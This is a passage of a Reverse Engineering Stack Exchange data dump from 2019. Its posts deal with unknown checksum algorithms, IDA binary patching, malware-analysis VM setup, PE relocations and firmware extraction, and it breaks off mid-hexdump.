  <row Id="22328" PostTypeId="1" CreationDate="2019-10-17T05:43:38.997" Score="0" ViewCount="212" Body="&lt;p&gt;I am looking to reverse engineer what appears to be a 24-bit ASCII checksum.  I tried the standard CRC 16 and 32-bit checksums and they don't work.  Any pointers would be appreciated.  Here is some samples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CMD21415A00M40C153S117!D0H$&#xA;CMD21415A00M40C197S439!EJG$&#xA;CMD21415A00M40C239S825!CIB$&#xA;CMD21415A00M40C239S029!FHZ$&#xA;CMD21415A00M40C197S275!BJE$&#xA;CMD21415A00M40C153S302!N7W$&#xA;CMD21415A00M40C153S141!A4I$&#xA;CMD21415A00M40C197S266!8KE$&#xA;CMD21415A00M40C197S714!RD0$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe for each line the checksum (3 ASCII characters between '!' and '$') is for the ASCII data between 'CMD' and '!'.  It does not seems to match any of basic checksum algorithms that I am familiar with.&lt;/p&gt;&#xA;" OwnerUserId="29917" LastActivityDate="2019-10-17T05:43:38.997" Title="Reverse ASCII checksum algorithm" Tags="|decryption|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22329" PostTypeId="1" CreationDate="2019-10-17T08:42:01.087" Score="0" ViewCount="106" Body="&lt;p&gt;I have been doing reversing lately and not an experienced Reverse engineer. Mostly I do audit on binaries both fuzzing and source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I am new to this stuff, I am getting some issues of understanding, in some cases I can see naked functions like memcpy,strcpy etc. but in other cases I can see only assembly functions, which is getting difficult to understand. I am trying with IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can use decompiler from IDA pro, but I want to go with free version and want to understand briefly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any resources available online, please let me know.&lt;/p&gt;&#xA;" OwnerUserId="15305" LastEditorUserId="14622" LastEditDate="2019-10-17T09:05:59.460" LastActivityDate="2019-10-22T08:24:55.900" Title="Easy way to understand vulnerable functions while Reversing" Tags="|ida|binary-analysis|patch-reversing|" AnswerCount="1" CommentCount="1" ClosedDate="2019-10-22T09:26:38.043" ContentLicense="CC BY-SA 4.0" />
  <row Id="22331" PostTypeId="1" AcceptedAnswerId="22393" CreationDate="2019-10-17T12:58:15.410" Score="0" ViewCount="782" Body="&lt;p&gt;I am doing reverse engineering on some network protocol. It is client to server communication and I am pretty stuck with identifying checksum (or CRC) algorithm used in packet structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried reveng util but without any result (so maybe it is not CRC). Also I lookout on standard CRCs algorithm online but nothing fits my samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some examples of packets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;client to server:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;66  01 00 01 fa 00 00 00  b7 33  00 00 fc 00 00 00  99 &#xA;66  01 00 03 fa 00 00 00  c7 d9  00 00 fd 00 00 00  99&#xA;66  01 00 03 fa 00 00 80  d1 c2  08  99&#xA;66  01 00 03 fa 00 00 71  46 42  00 00 05 00 00 00 ab 55 52 5c 5b 50 51 55 55 55 54 73  99&#xA;66  01 00 03 fa 00 00 04  45 a2  00 00 6b 00 00 00 ab 55 40 5c 49 3e 47 1d 55 b4 55 55 55 55 55 55 55 55 55 55 55 55 55 55 45 bb  99 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;server to client:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;66  01 fa 00 00 01 00 00  91 57  0a  99&#xA;66  01 fa 00 00 03 00 00  8a bb  0a  99&#xA;66  01 fa 00 00 01 00 96  9d 37  00 00 00 00 00 00 ab 55 55 55 ab  99&#xA;66  01 fa 00 00 03 00 7f  61 68  00 00 44 00 00 00 ab 55 51 54 56 11 54 55 1e  99 &#xA;66  01 fa 00 00 03 00 7a  70 dd  08 99&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think checksum is 16-bit number begin on 9th byte. Also, I believe that the first and last bytes are not significant to count the checksum algorithm (start and stop constat).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can provide more samples if it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be grateful for any help or advice from you.&lt;/p&gt;&#xA;" OwnerUserId="29923" LastEditorUserId="29923" LastEditDate="2019-10-17T13:07:16.560" LastActivityDate="2019-10-25T12:28:30.490" Title="Determine checksum / CRC algorithm" Tags="|protocol|crc|networking|packet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22332" PostTypeId="1" CreationDate="2019-10-17T13:21:43.307" Score="0" ViewCount="229" Body="&lt;p&gt;I'm doing a cert in malware analysis and I'm looking for some up to date tools to automate detection of packing and encryption to aid the reversing process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found TitanMist however it seems quite dated, are there any other tools?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="29924" LastActivityDate="2019-10-19T06:42:27.957" Title="Tools for detecting packing and encryption" Tags="|malware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22333" PostTypeId="2" ParentId="22332" CreationDate="2019-10-17T20:44:58.310" Score="0" Body="&lt;p&gt;If you're referring to native applications in particular then &lt;a href=&quot;https://github.com/horsicq/Detect-It-Easy&quot; rel=&quot;nofollow noreferrer&quot;&gt;Detect it Easy&lt;/a&gt; is one of the better and more widely used options.&lt;/p&gt;&#xA;" OwnerUserId="29598" LastActivityDate="2019-10-17T20:44:58.310" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22334" PostTypeId="1" AcceptedAnswerId="22337" CreationDate="2019-10-17T23:16:50.487" Score="2" ViewCount="345" Body="&lt;p&gt;I am learning IDA pro on a test binary and I'd like to return a static value from this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; __int64 __fastcall sub_B580(char *name)&#xA;sub_B580 proc near&#xA;&#xA;pai= qword ptr -70h&#xA;req= addrinfo ptr -68h&#xA;service= byte ptr -2Fh&#xA;var_20= qword ptr -20h&#xA;&#xA;; __unwind {&#xA;push    rbp&#xA;push    rbx&#xA;sub     rsp, 68h&#xA;mov     rax, fs:28h&#xA;mov     [rsp+78h+var_20], rax&#xA;xor     eax, eax&#xA;test    rdi, rdi&#xA;jz      loc_B676&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29926" LastEditorUserId="245" LastEditDate="2019-11-03T17:04:26.267" LastActivityDate="2019-11-03T17:04:26.267" Title="Modify function to return a static value" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22337" PostTypeId="2" ParentId="22334" CreationDate="2019-10-18T04:20:00.240" Score="2" Body="&lt;p&gt;Returning a static value from any function is quite easy. I assume that your calling convention takes return value in the (e|r)ax register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to return some value, just patch your function to look like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rax, &amp;lt;value&amp;gt;&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lets consider an example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int test(int n) {&#xA;    int i, sm = 0;&#xA;    for (i = 1; i &amp;lt;= n; i++)&#xA;        sm += (i * i);&#xA;    return sm;&#xA;}&#xA;&#xA;int main(int argc, char **argv) {&#xA;    int n;&#xA;    scanf(&quot;%d&quot;, &amp;amp;n);&#xA;    printf(&quot;%d\n&quot;, test(n));&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When run this looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./test&#xA;9&#xA;285&#xA;$ ./test&#xA;10&#xA;385&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When compiled this looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0000000000000720                 public test&#xA;.text:0000000000000720 test            proc near               ; CODE XREF: main+2C↓p&#xA;.text:0000000000000720&#xA;.text:0000000000000720 var_14          = dword ptr -14h&#xA;.text:0000000000000720 var_8           = dword ptr -8&#xA;.text:0000000000000720 var_4           = dword ptr -4&#xA;.text:0000000000000720&#xA;.text:0000000000000720 ; __unwind {&#xA;.text:0000000000000720                 push    rbp&#xA;.text:0000000000000721                 mov     rbp, rsp&#xA;.text:0000000000000724                 mov     [rbp+var_14], edi&#xA;.text:0000000000000727                 mov     [rbp+var_8], 0&#xA;.text:000000000000072E                 mov     [rbp+var_4], 1&#xA;.text:0000000000000735                 jmp     short loc_745&#xA;.text:0000000000000737 ; ---------------------------------------------------------------------------&#xA;.text:0000000000000737&#xA;.text:0000000000000737 loc_737:                                ; CODE XREF: test+2B↓j&#xA;.text:0000000000000737                 mov     eax, [rbp+var_4]&#xA;.text:000000000000073A                 imul    eax, [rbp+var_4]&#xA;.text:000000000000073E                 add     [rbp+var_8], eax&#xA;.text:0000000000000741                 add     [rbp+var_4], 1&#xA;.text:0000000000000745&#xA;.text:0000000000000745 loc_745:                                ; CODE XREF: test+15↑j&#xA;.text:0000000000000745                 mov     eax, [rbp+var_4]&#xA;.text:0000000000000748                 cmp     eax, [rbp+var_14]&#xA;.text:000000000000074B                 jle     short loc_737&#xA;.text:000000000000074D                 mov     eax, [rbp+var_8]&#xA;.text:0000000000000750                 pop     rbp&#xA;.text:0000000000000751                 retn&#xA;.text:0000000000000751 ; } // starts at 720&#xA;.text:0000000000000751 test            endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Click on the function start at 0x720.&#xA;Go to Edit -&gt; Patch Program -&gt; Assemble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the window opened write&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, 99&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and press OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will patch the current &lt;code&gt;push rbp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally write&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;press OK and then Cancel to stop patching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Edit -&gt; Patch Program -&gt; Apply patches to input file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save binary with the updated changes. Now it runs like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./test&#xA;9&#xA;99&#xA;$ ./test&#xA;10&#xA;99&#xA;$ ./test&#xA;99&#xA;99&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2019-10-18T04:34:51.523" LastActivityDate="2019-10-18T04:34:51.523" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22341" PostTypeId="2" ParentId="22327" CreationDate="2019-10-18T18:57:58.497" Score="0" Body="&lt;p&gt;There Are many possible means to change Window caption   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;easiest of them being using a spy app like winspy and use the inbuilt functionality to change     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;take a look at this answer i wrote a few days back  which shows how a title is change &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/22264/can-gui-elements-of-a-running-program-be-found-located-in-memory/22272#22272&quot;&gt;change window title&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or if you prefer you can code a simple FindWindow() , SetWindowText() that can do the job&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can also break on wnd proc in ollydbg / x32dbg and code a detour to &#xA;use SetWindowText()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using ollydbg v2  (32 bit win 7 )&lt;br&gt;&#xA;open calc.exe and hit f9 to run and f12 to break&lt;br&gt;&#xA;hit alt+w to open List Of Windows&lt;br&gt;&#xA;and locate the Window Handle of CalcFrame   As below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;List of windows, item 3&#xA;  Handle = 000206C0  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;  Text = Calculator  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;  Parent = Topmost&#xA;  WinProc =&#xA;  ID/menu = 0136046D (menu)&#xA;  Type = UNICODE&#xA;  Style = 14CA0000 WS_OVERLAPPED|WS_MINIMIZEBOX|WS_CAPTION|WS_SYSMENU|WS_VISIBLE|WS_CLIPSIBLINGS&#xA;  ExtStyle = 00000100 WS_EX_WINDOWEDGE&#xA;  Thread = Main&#xA;  ClsProc = 00361EDE WndProc&#xA;  ClsName = CalcFrame&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now go to some blank space &lt;/p&gt;&#xA;&#xA;&lt;p&gt;type in a new title and note the address where you typed the title &lt;/p&gt;&#xA;&#xA;&lt;p&gt;code in blank space &lt;/p&gt;&#xA;&#xA;&lt;p&gt;push offset the address you noted&lt;br&gt;&#xA;push window handle as found  above  {this is variable use what you find not what i type in demo}&#xA;call SetWindowTextA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;make a note of existing  eip&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change the eip to the newly patched in code&#xA;step three times &#xA;and change back to the noted eip &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0rAK8.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0rAK8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-10-18T18:57:58.497" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22342" PostTypeId="1" CreationDate="2019-10-19T02:52:15.847" Score="0" ViewCount="665" Body="&lt;p&gt;This is the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_BA060:              ; status&#xA;xor     edi, edi&#xA;call    _exit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can one replace exit with continue?&lt;/p&gt;&#xA;" OwnerUserId="29926" LastEditorUserId="2147" LastEditDate="2019-11-25T13:26:08.737" LastActivityDate="2019-11-25T13:26:08.737" Title="IDA Pro, replace exit() with continue;" Tags="|ida|assembly|x86|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22343" PostTypeId="2" ParentId="22332" CreationDate="2019-10-19T06:42:27.957" Score="2" Body="&lt;p&gt;Encrypted and compressed data have high entropy. Tools for visualizing the entropy of information in binary files include &lt;a href=&quot;http://binvis.io/#/&quot; rel=&quot;nofollow noreferrer&quot;&gt;binvis.io&lt;/a&gt; and &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk&quot; rel=&quot;nofollow noreferrer&quot;&gt;binwalk&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2019-10-19T06:42:27.957" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22344" PostTypeId="1" AcceptedAnswerId="22349" CreationDate="2019-10-19T06:53:51.417" Score="0" ViewCount="180" Body="&lt;p&gt;Sorry if this is a stupid question but couldnt find the answer by googling&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I analyze a malware by using remote debugger of IDA, and i run the debugger on a isolated VM that has shared a folder to my IDA's VM, as of right now the way i analyze a sample is by putting it on that shared folder so i can run the remote debugger, because if i set the path to a location in my IDA's VM then it won't work (it says wrong parameters), so it looks like the sample has to be in a location where both my IDA's VM and the isolated VM can reach (i think) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so to solve this i just put samples i want to analyze in the shared folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem is that the .idb file spawns there as well and if its a ransomware then my .idb file will get ruined  ( i have to say that IDA's VM is also in a isolated host only network)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so two questions :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;am i approaching this right? is there an easier way for me to use a remote debugger without using a shared folder?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;how to change the .idb's default path? so i can put the sample in the shared folder or somewhere else but the .idb gets generated somewhere else? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28109" LastActivityDate="2019-10-19T18:20:00.967" Title="What is the best approach for using IDA's remote debugger for analyzing a sample with two VMs?" Tags="|ida|binary-analysis|malware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22345" PostTypeId="1" AcceptedAnswerId="22360" CreationDate="2019-10-19T08:52:32.540" Score="0" ViewCount="657" Body="&lt;p&gt;I was reading about mapped and unmapped PE format, and how the alignment between sections changes after loading it into memory and that caused two question for me:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;is the relocation table used before the PE is loaded into memory? (just before loading)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;how does the loader deal with relative addresses and offsets after loading it into memory considering the offsets between sections changes? for example if i have a instruction that addresses another section using relative addresses (offset from its own location), but not an absolute address, then does the loader has to deal with these relative addresses as well? if so, then this means the relocation table fixes instruction that don't use absolute addresses as well? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28109" LastActivityDate="2019-10-21T11:39:05.243" Title="Is relocation table only used for absolute addresses?" Tags="|windows|pe|memory|operating-systems|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22347" PostTypeId="1" CreationDate="2019-10-19T15:14:48.217" Score="0" ViewCount="132" Body="&lt;p&gt;So i am reversing an app that pops up a message at some point, but its not doing this using messagebox&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i also tried to pause and then run to user code but didn't work, so what are some of the other ways to trace back to where this &quot;message box&quot; was generated?  sorry if this is a newbee question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i watched a lot of youtube videos but regarding this issue the only solution i found was pausing and going to user code but that doesn't work, for some reason sometimes the pause just doesn't even work (if anyone knows why please let me know) and sometimes when it does, and i go to user code its just gibberish code, nothing that caused the box ( i think maybe this is because multi threading, since when i check the threads there are like 12 threads running!, tried going to main thread and some of the non suspended ones and repeating this didnt work )&lt;/p&gt;&#xA;" OwnerUserId="28109" LastActivityDate="2019-10-19T15:14:48.217" Title="Alternative APIs to hook instead of messagebox for message pop ups?" Tags="|windows|x86|patching|crackme|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22349" PostTypeId="2" ParentId="22344" CreationDate="2019-10-19T18:20:00.967" Score="0" Body="&lt;p&gt;There is no need to have the IDB on the remote machine or keep the .idb and executable in the same folder. After creating the IDB you can even delete the input file or move it elsewhere; IDB is completely self-contained and does not need the file anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a suggested workflow:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open the sample in IDA on the analysis VM/host to create the IDB.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy the sample and remote debug server to the debugging VM. You can now delete it from the analysis machine so you don't accidentally run it (or rename). Let's assume the sample is in &lt;code&gt;C:\temp\sample.exe&lt;/code&gt; on the debugging VM. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;start the debug server&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In IDA, in Debugging-Process options, specify the remote host/port and change the path to the executable as it is &lt;strong&gt;on the remote machine&lt;/strong&gt; (i.e. &lt;code&gt;C:\tmp\sample.exe&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;debug away!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-10-19T18:20:00.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22350" PostTypeId="1" CreationDate="2019-10-19T23:52:19.953" Score="2" ViewCount="314" Body="&lt;p&gt;We are reverse engineering a QNX system and we have found a small file that is uploaded to the system. It appears to be either a file system image or an uncompressed archive of some sort. We can't figure out the check-summing it uses hence I cannot edit the file. I have multiple versions of this file and they all start with the same magic bytes. I have run binwalk and magic over the file and neither return anything interesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also tried mounting it within a QNX vmware image however it said it was an incorrect format. In case I've dumped it wrong I will next check the linux QNX source code to confirm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas if this is a file system image? The header seems to list file paths/names with padding which with my lack of knowledge I assume is some kind of resource manifest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The magic header is 0x77FA77FA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what this file format is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the binary here:&#xA;&lt;a href=&quot;http://s000.tinyupload.com/index.php?file_id=81688472369674028404&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://s000.tinyupload.com/index.php?file_id=81688472369674028404&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mT505.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mT505.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ldP5a.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ldP5a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dN1Nt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dN1Nt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16675" LastActivityDate="2019-10-22T18:32:36.810" Title="Unknown archive format from QNX operating system" Tags="|binary-analysis|linux|file-format|binary-format|qnx|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22351" PostTypeId="1" AcceptedAnswerId="22354" CreationDate="2019-10-20T00:26:39.770" Score="2" ViewCount="954" Body="&lt;p&gt;I'm using x32dbg and I've set a hardware memory breakpoint. It triggers successfully for a specified module and the debugger pauses and a message on the bottom says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hardware breakpoint (byte, read/write) at mscorlib.ni.69`9d3d9 (6919d3d9)!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All good so far. Now naturally I want to go to address &lt;code&gt;6919d3d9&lt;/code&gt;, which I assume to be the starting memory address of the code that accessed my target memory location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I go to Breakpoints view (&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt;) double click on the breakpoint and it gets me to Dump, ie the memory view.. This is where I'm confused. I can't find out how to go to address &lt;code&gt;6919D3D9&lt;/code&gt; to see the disassembled instructions. Kindly help if you can.&lt;/p&gt;&#xA;" OwnerUserId="20600" LastEditorUserId="34790" LastEditDate="2022-04-11T18:32:16.703" LastActivityDate="2022-04-11T18:32:16.703" Title="How to navigate Disassembly view to the current instruction location?" Tags="|disassembly|x64dbg|breakpoint|memory-dump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22352" PostTypeId="2" ParentId="22345" CreationDate="2019-10-20T04:42:08.907" Score="1" Body="&lt;p&gt;Sections are always mapped to the same location relative to each other (the section table in the file describes the layout, via the VirtualAddress field).  Only the starting address for the entire module can change.  The relocation table is generally(*) used to update absolute values according to the difference between the starting address that was specified when the program was compiled versus the starting address that is current when the file is loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file is loaded into memory first, then the starting address is passed to the relocation table parser to apply the relocations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) there are special cases of individual bytes being relocated but only via hand-crafted files.  No compiler is going to produce such a thing.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2019-10-20T04:42:08.907" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22354" PostTypeId="2" ParentId="22351" CreationDate="2019-10-20T17:32:38.830" Score="3" Body="&lt;p&gt;Normally the debugger should pause at the location where breakpoint is triggered, or you can use &quot;jump to EIP&quot; or similar command to navigate to the instruction being executed (which should be the one that triggered the exception).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-10-20T17:32:38.830" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22355" PostTypeId="1" CreationDate="2019-10-20T20:28:12.587" Score="0" ViewCount="5747" Body="&lt;p&gt;I'm trying to extract code from Yuneec Drone Firmware and I've run into some issues. Currently when I run binwalk agains the file, I get the following issues: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk autopilot.yuneec.bin &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;980           0x3D4           Unix path: /xA0fD/84kP/EX/tXDcRvBzP9P7bzsfTHQdqfUm4zLbytkngf/Q3vmzj2Yq5Z8PcPbz9Xr2rVS+3C9mxH6/hv+1az7AF8jjGYGJbh6B5+5lvPWRhvcYnww7WRMdYXU+/&#xA;20772         0x5124          StuffIt Deluxe Segment (data): fC+p1/WeN+x6czuMKj/2G97vs7bIlzF9t82VVYQdsBVEperQb/356B5eTU4a1S7KhOJMYkGX0UIgBnWVoOiawdyqh+jIXg4yBi3qEy0TAzdhx/RwATTujWRGgu6qUPDX&#xA;63677         0xF8BD          Unix path: /AX5BC/lwR/velbnL9Z26N8WkNPRKvRO9U6/Yeim7oVvEVZssaKxYSrcDXs1EswWwxG/q47kDI8f2QpdO82ijIuW6KrNWyrC7mFSTMGxdTkE77D/IFVwXMUhDG5DdaVd&#xA;544996        0x850E4         StuffIt Deluxe Segment (data): f1KJONum4Fp1JGYhMLa6U6dznBT9ORW23cOYJZnU7ijq+AwegqRxK9Von+ry5p35p6LZBShghnv8RjszI+TzBZ17KvvMN+Qj5may1mfVTQR96rur5jzYLQ5pDngg+qRq&#xA;701252        0xAB344         StuffIt Deluxe Segment (data): fa/4N9fZZBH9/RjZN2xQsGR2SYhibs+pJAjQYrytk/gsWWv9771tt8c/VLs703HuQSUQU7/9jHQEybWaK3sCf1olsktUNZv52TsSKZD1OlYB0hGlSeLX9QkWS+5FjMEH&#xA;1058597       0x102725        Unix path: /MHRJqXEzbl/z7hCM/vEnhS/cF6wOY+T8ywvmLCsMoaJfYdaj5k+8cU0yrKbd+HNFZv1JoQxLPGAUnEy9hj3a/0ENDO2Rs2m4bpBLjMDbE8fYIDiVvSEYFm2YT3tCw/a&#xA;1082116       0x108304        StuffIt Deluxe Segment (data): fZcxfqH1QZ33Q+quNuNMPYZg9qJ/3M3SOGhOldNjDJcoyRvRqtBiAslAjG7AYP86RgvYpN5kXMeIVFxPE3akTeGUi/GFI1gHoc4PpMaEpOPYkj1ZbQQic2MqHRyiFGtV&#xA;1112905       0x10FB49        StuffIt Deluxe Segment (data): fDRqiWlK6s45pRAmUYiAov0FWabq1Cvi5KUKBzSs8++MSIkrCv9/El3vtXoVbwZU0TYYqruo7MTnxgWmtyXDx/M6ybK8LWJjNbZgLXnfOwM6KcCLusn2kfHBh5aAUuQ5&#xA;1224852       0x12B094        StuffIt Deluxe Segment (data): fKVRaEDl88MUJZtOWVcMKNwBddGnczIsiNCoTZtmUYQBJXOExRD2NNAcFxqu1HoKASp5DzFqFNXWP37DJOMrejjQezP7jh7YeYuWOOuiqd/tthn6Gtb2SrxwLuUeCwnU&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the look of this, it looks like the file is compressed and encrypted somehow, but I can find a match looking a hexdump of the file: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hexdump -C autopilot.yuneec.bin | head -n 10&#xA;00000000  7b 0a 20 20 20 20 22 62  6f 61 72 64 5f 69 64 22  |{.    &quot;board_id&quot;|&#xA;00000010  3a 20 36 36 2c 20 0a 20  20 20 20 22 61 69 72 66  |: 66, .    &quot;airf|&#xA;00000020  72 61 6d 65 5f 78 6d 6c  22 3a 20 22 65 4e 72 6c  |rame_xml&quot;: &quot;eNrl|&#xA;00000030  55 38 46 4f 67 30 41 51  76 